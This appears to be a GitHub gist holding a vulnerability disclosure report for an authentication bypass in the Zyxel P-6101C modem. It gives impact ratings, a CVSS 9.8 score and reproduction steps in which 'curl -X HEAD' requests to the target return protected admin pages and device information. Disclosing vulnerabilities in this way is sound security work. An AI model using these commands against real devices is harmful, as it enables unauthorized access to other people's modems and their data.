Skip to content

Instantly share code, notes, and snippets.

@stevenyu113228
Last active October 31, 2024 09:59
Show Gist options
  • Save stevenyu113228/78e0169d2ff110e9a65539eb29660d25 to your computer and use it in GitHub Desktop.
Save stevenyu113228/78e0169d2ff110e9a65539eb29660d25 to your computer and use it in GitHub Desktop.
Zyxel P-6101C CVE Report.md

Affect Version

Zyxel P-6101C Authentication Bypass

Vulnerability Description

The web protocol of Zyxel P-6101C Modem allows an attacker to bypass authentication using the HEAD HTTP method.

Specific Conditions for Triggering Vulnerability

Exploitation requires sending a specially crafted packet.

Required Privileges to Trigger Vulnerability

No privileges required.

Confidentiality Impact

High

Integrity Impact

High

Availability Impact

High

CVSS v3.1 Vector String

(9.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE types

CWE-863: Incorrect Authorization

Reproduction Steps

Initially, when using curl to send a request without providing a password, the response will be 401 Unauthorized.

curl <TARGET>

<HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD>
<BODY><H1>401 Unauthorized</H1>
Your client does not have permission to get URL /cgi-bin/index.asp from this server.
</BODY></HTML>

However, by sending the same request with the HEAD method, it is possible to bypass the authentication and retrieve sensitive information from the device.

curl -X HEAD <TARGET>
Warning: Setting custom HTTP method to HEAD with -X/--request may not work the
Warning: way you want. Consider using -I/--head instead.

<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv=Content-Script-Type content=text/javascript>
<meta http-equiv=Content-Style-Type content=text/css>
</head>
<frameset rows="13%,87%">
 <frame src="/cgi-bin/status.asp" name="header" frameborder="0" scrolling="NO" noresize="noresize">
<frameset cols="20%,80%">
  <frame src="/cgi-bin/menu.asp" name="navigation" frameborder="0" id="panel" scrolling="NO" noresize="noresize">
	<frame name="main"
	
	
	
		
			src="/cgi-bin/status_deviceinfo.asp"
		

image

Device information can also be obtained by using the following command to download the page and then opening it in a browser.

curl -X HEAD <TARGET>/cgi-bin/status_deviceinfo.asp -o status_deviceinfo

image

Credits

  • Chiao-Lin Yu (Steven Meow)

Report Date

  • 2024/10/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment